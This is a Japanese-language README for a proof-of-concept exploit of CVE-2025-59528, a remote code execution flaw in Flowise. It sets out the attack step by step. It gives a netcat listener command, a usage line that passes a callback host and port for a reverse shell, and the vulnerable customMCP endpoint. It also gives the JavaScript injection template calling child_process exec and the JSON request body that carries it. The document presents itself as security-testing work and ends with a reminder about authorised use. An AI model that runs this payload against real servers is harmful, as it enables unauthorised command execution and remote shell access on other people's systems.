Version française

CVE-2025-59528 概念実証（PoC）

認可された環境における脆弱性の技術的検証に焦点を当てた最小限のPoCです。

前提条件

• 対象のFlowiseダッシュボードにユーザーアカウントを持っている必要があります。
• そのアカウントにリンクされた有効なAPIキーを持っている必要があります。
• PoCを実行する前に、コールバックホストでリスナーを起動しておく必要があります（例：nc -lvn 4444）。

使用例

まずリスナーを起動します：

nc -lvn 4444

python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY

値を認可された環境の設定に置き換えてください。

CVE概要

• 影響を受ける製品: Flowise
• 影響を受けるバージョン: 3.0.5 未満
• 種別: リモートコード実行（RCE）
• エントリポイント: POST /api/v1/node-load-method/customMCP エンドポイント

この問題は inputs.mcpServerConfig の処理方法に起因します。この値はサーバーサイドでのJavaScript実行を可能にする方法で解釈されます。実際には、認証された攻撃者が child_process を呼び出してOSコマンドを実行する式を注入できます。

悪用メカニズム

悪用の流れは以下の通りです：

1. customMCP エンドポイントへのリクエストを構築します。
2. mcpServerConfig に悪意のあるJavaScript式を配置します。
3. process.mainModule.require('child_process') をトリガーします。
4. OSコマンド（exec/execSync）を実行します。

受け入れられた場合、サーバーはそのシステムコンテキストでコマンドを実行します。

このPoCの仕組み（poc.py）

このスクリプトは4つの引数を取ります：

• -d/--domain: 対象ドメイン
• -lh/--host: コールバックIP
• -lp/--port: コールバックポート
• -A/--api: Bearer APIトークン

その後、以下の処理を行います：

1. 脆弱なURLを構築します：http://<domain>/api/v1/node-load-method/customMCP
2. Authorization: Bearer <token> ヘッダーを追加します
3. コールバックシェルコマンドを準備します
4. そのコマンドをJS式に注入します：

({
  x: (function () {
    const cp = process.mainModule.require("child_process");
    cp.exec("<commande>");
    return 1;
  })(),
});

5. このJSONを送信します：

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "<injected JS expression>"
  }
}

6. 検証のためにHTTPステータスと生のレスポンスを出力します。

このPoCが優れている理由（EDB 52440との比較）

EDBのPoC（メール/パスワードログインを実行し、ブラウザ風のヘッダーを使用し、自由形式の --cmd を実行する）と比較して、このスクリプトは純粋なPoC検証に適しています：

1. より直接的: ログインフローがなく、不要なHTTPノイズが少ない。
2. 破損リスクが低い: フロントエンド/認証設定に依存するステップが少ない。
3. CIに適した自動化: シンプルな引数と迅速な出力。
4. 明確な検証: ステータスとボディが即座に出力される。
5. CVEの核心パスに焦点: mcpServerConfig の注入とサーバーサイド実行。

要するに：EDBスクリプトはより汎用的な攻撃デモである一方、このPoCは技術的な再現性に特化しています。

現在の制限事項

• 有効なAPIトークンが既に存在することを前提としています。
• https モードや証明書の処理はありません。
• リトライ/バックオフロジックはありません。
• コールバックコマンドはハードコードされています（まだ --cmd でパラメータ化されていません）。

責任ある使用

所有しているシステム、または明示的な許可を得たシステムでのみテストしてください。